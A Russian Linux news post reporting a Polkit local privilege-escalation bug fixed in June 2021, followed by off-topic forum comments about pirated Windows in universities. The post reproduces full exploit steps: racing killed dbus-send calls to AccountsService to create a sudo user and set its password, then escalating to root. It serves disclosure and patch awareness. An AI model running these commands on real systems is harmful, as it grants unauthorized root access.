LINUX.ORG.RU

Семилетний баг в Polkit, позволяющий получить права root

 , ,

Семилетний баг в Polkit, позволяющий получить права root

2

1

Участник GitHub Security Lab Kevin Backhouse обнаружил уязвимость в Polkit, которая впервые появилась семь лет назад в коммите bfa5036 и с версией 0.113 попала в некоторые дистрибутивы. Она позволяет непривилегированному локальному пользователю получить права root в системе, приложив для этого минимальные усилия. Уязвимости подвержены любые дистрибутивы с установленной версией Polkit 0.113 (или более поздней). Например, такие популярные, как RHEL 8 и Ubuntu 20.04. Уязвимость была устранена 3 июня 2021 года.

Как пишет Kevin Backhouse, уязвимость очень просто эксплуатируется, для этого достаточно простых инструментов: bash, kill, и dbus-send. Кроме них, для своей статьи (PoC exploit) он так же использовал accountsservice и gnome-control-center, которые можно найти на многих системах с GUI. Следует заметить, что accountsservice и gnome-control-center не содержат уязвимость и являются просто клиентами для Polkit.

Собственно уязвимость активируется с помощью команды dbus-send (т.е. простой отправки сообщения через шину D-Bus), которую нужно завершить во время, пока Polkit ещё обрабатывает запрос. Теоретически, можно нажать Ctrl + C на клавиатуре в нужный момент, однако Kevin Backhouse не смог продемонстрировать именно такой вариант.


Шаги* эксплуатации уязвимости из PoC exploit

Для начала нужно замерить время, которое требуется для нормального выполнения команды dbus-send:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

Результат должен быть примерно таким:
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real 0m0.016s
user 0m0.005s
sys 0m0.000s

Вывод команды time показывает, что dbus-send была выполнена за 16 миллисекунд. Следовательно, для успешной эксплуатации команда dbus-send должна быть завершена примерно через 8 миллисекунд после запуска.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

Вероятно, что данный трюк удастся провернуть не с первого раза, поэтому может понадобится подобрать более подходящую задержку перед завершением dbus-send. Если время будет подобрано правильно и команда отработает успешно, то в системе появится новый пользователь boris входящий в группу sudo.
$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)

Далее необходимо задать пароль для пользователя boris. D-Bus интерфейс ожидает, что пароль будет передан в виде хеша, который легко получить с помощью openssl.
$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB

Теперь следует провернуть аналогичный описанному выше трюк с командой dbus-send, за исключением используемого метода. На сей раз требуется метод SetPassword.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!

Как и в прошлый раз, вероятно потребуется несколько попыток и подбор значения задержки. Так же следует обратить внимание на идентификатор пользователя, который может отличаться от 1002 в примере.

Наконец можно получить привилегии пользователя root в системе:
su - boris # password: iaminvincible!
sudo su # password: iaminvincible!

―――
* Шаги эксплуатации уязвимости приведены исключительно для ознакомления. Ни в коем случае не пытайтесь повторить их на системах принадлежащих не вам. Помните об ответственности!

P.S. Настоятельно рекомендуется выполнить обновление системы.

>>> Подробности

★★★★★

Проверено: xaizek ()
Последнее исправление: xaizek (всего исправлений: 10)
Ответ на: комментарий от uberroot

Конечно. Я занимаюсь этим более 10 лет, загляни в профиль. Поэтому я могу себе просто позволить сказать «это прелестная чушь».

Aceler ★★★★★
()
Ответ на: комментарий от Aceler

Можно один вопрос не совсем в тему? У вас в профиле написано

К.т.н. по приборостроению и физической химии.

Вы дважды кандидат по двум разным специальностям? Или в НН был какой то (скорее всего сильно военизированный) профиль обучения сочетающий в себе и то и другое? Просто обычно это весьма и весьма далекие друг от друга направления.

anonymous
()
Ответ на: комментарий от anonymous

Вы дважды кандидат по двум разным специальностям?

Можно защищаться один раз, но по двум специальностям. Для этого в совет по основной специальности (в моём случае приборостроение) вводятся дополнительно члены другого совета по другой специальности. Я там не помню, сколько их надо человек, но билеты им оплачивал я :-)

Поэтому если ты хочешь, проблем нет, вопрос расходов. Мне это было не нужно, это было нужно моему научруку, который собирался защищать докторскую по физической химии.

Просто обычно это весьма и весьма далекие друг от друга направления.

Приборостроение и физическая химия очень тесно связаны, поскольку твердотельные химические сенсоры основаны на эффектах, которые изучаются в разделе физической химии — сорбция, десорбция и вот это всё.

Aceler ★★★★★
()
Ответ на: комментарий от Aceler

Я не знаю, чем ты занимашься там 10 лет. Возможно в твоём регионе всё совсем не так, но в моём везде стоит пиратская винда. Доценты, приезжающие на конференции из других ВУЗов говорили, что у них тоже стоит пиратская винда.

И мне очень странно, когда приходит «эксперт» и говорит мне, работавшему в двух ВУЗах и имевшего контакты с другими образовательными учреждениями, что пиратской винды ни у кого быть не может.

uberroot
()
Ответ на: комментарий от uberroot

работавшему в двух ВУЗах и имевшего контакты с другими образовательными учреждениями, что пиратской винды ни у кого быть не может.

А у меня, конечно, никаких контактов с образовательными учреждениями нет. Ни с ВШЭ, ни с ННГУ, ни с НГТУ, ни с НРТК, ни с НКИ. Ни с 50 школ Дзержинска, в которых винды и линкус лицензионные мы ставили ещё в 2010-м, и с тех пор курируем. Ни с, э… не помню, сколько школ, Нижнего.

ОК, сообщи названия ВУЗов, я посмотрю по сайту госзакупок, какие там винды они закупают. А вместе со мной этот же сайт смотрят и в Microsoft, и в ОБЭП. Как думаешь, там реально ничего нет?

Доценты, приезжающие на конференции из других ВУЗов говорили, что у них тоже стоит пиратская винда.

Так и вы говорите! ©

Aceler ★★★★★
()
Ответ на: комментарий от uberroot

Пиши названия учреждений. Так и быть, напишу в прокуратуру вместо тебя. Совершенно непонятно, почему ты покрываешь преступников.

anonymous
()
Ответ на: комментарий от Aceler

Скажем так: я очень и очень хорошо знаю что такое физическая химия.))) И даже если отдельные применения у нее в приборостроении и есть, но основное направление все же далеко от всего этого. Я просто подумал что в НН соорудили какой то гибрид о котором я не слышал. Сижу и думаю, то ли что то рассекретили, то ли кто то съездил на очередную конфу и приволок «свежие и замечательные» идеи. В серьезных местах защита по двум специальностям сразу не практикуется или практикуется в исключительных случаях, реально редких. Но карьера научрука конечно дело важное.)))

anonymous
()
Ответ на: комментарий от uberroot

Видел ситуацию, когда организация закупает сколько нужно лицензий, а админы на местах по привычке ставят и крякают винду, т.к. даже не в курсах и не парятся. Не знаю даже, можно ли это считать незаконным.

Legioner ★★★★★
()
Ответ на: комментарий от Legioner

Ну у нас, например, какая ситуация была. Купили лицензий SolidWorks на 1 класс (машин 16 вроде бы), а поставили в 4 классах. По бумагам всё хорошо, никто не будет сверять где именно студенты занимаются. А таскать всех в один тоже никто не будет - преподы не будут бегать из одного корпуса в другой.

Поэтому на бумагах всё хорошо. А в реальности - нет.

Я помню даже историю, когда перед проверкой по шапке надавали одному заведующему, потому что они методичку выпустили по Автокаду (а может по КОМПАСу, не помню уже), а у университета лицензии не было.

И это не говоря про увп-бабушек, которые привыкли чертить графики в AI. И ты их не перетащищь в Inkscape так же, как преподов с TheBat! на Thunderbird.

Поэтому мир реальности отличается от мира, который изображают на бумагах в отчётах. Собственно, именно это я и пытался сказать.

uberroot
()
Ответ на: комментарий от Legioner

И кстати да, ты мне напомнил ещё один прекрасный случай, когда к нам на кафедру выписали 6 новеньких компьютеров с предустановленной семёрочкой домашней, которую преподаватели резво сносили и ставили пиратский Ultimate.

uberroot
()
Ответ на: комментарий от uberroot

ну у вас какой то форменный бардак. у нас установкой винды и софта занимаются специально обученные люди, а не любой «препод»

anonymous
()
Ответ на: комментарий от anonymous

У нас обученные люди занимались установкой ПО только на студенческих компах, а преподаватели и увп сами решали свои проблемы.

Но это не только у нас такой «бардак». Возможно это не везде, но не только у нас было.

uberroot
()
Ответ на: комментарий от uberroot

а преподаватели и увп сами решали свои

это какая-то шарашкина контора на 10 компов, а не ВУЗ…

anonymous
()
Ответ на: комментарий от uberroot

домашнюю винду один хрен нельзя использовать где-то кроме дома.

salozar
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.